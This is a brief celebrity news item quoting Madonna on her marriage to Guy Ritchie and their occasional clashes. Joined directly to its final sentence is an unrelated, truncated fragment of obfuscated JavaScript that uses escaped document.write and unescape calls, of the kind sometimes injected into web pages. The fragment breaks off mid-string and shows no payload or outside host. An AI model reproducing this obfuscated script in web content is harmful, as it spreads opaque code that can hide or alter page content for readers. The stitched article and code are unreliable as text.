Madonna says she deserves a "pat on the back" for putting up with her husband Guy Ritchie.
The singer rubbished reports their relationship was in trouble but said they did not always see eye to eye.
According to IOL.com she said: "I must admit, I have to pat myself on the back. It's not easy to be married, to have a successful career, to have children, to be with someone who is as strong-willed and ambitious as I am.
"Guy's not a househusband and I'm not a typical wife. So you can imagine, we have our clashes.
"But I think we always keep our eye on the ball - that is our marriage - the union of us, the things that we create together, are bigger than the petty fights we have."document.write(unescape('\04564%6F%63um\145%6Et.%77r%69t\145\04528u%6E\04565s\04563ap\04565\04528\047\045253C%21%5C0\0645\062D%252D\047)\051;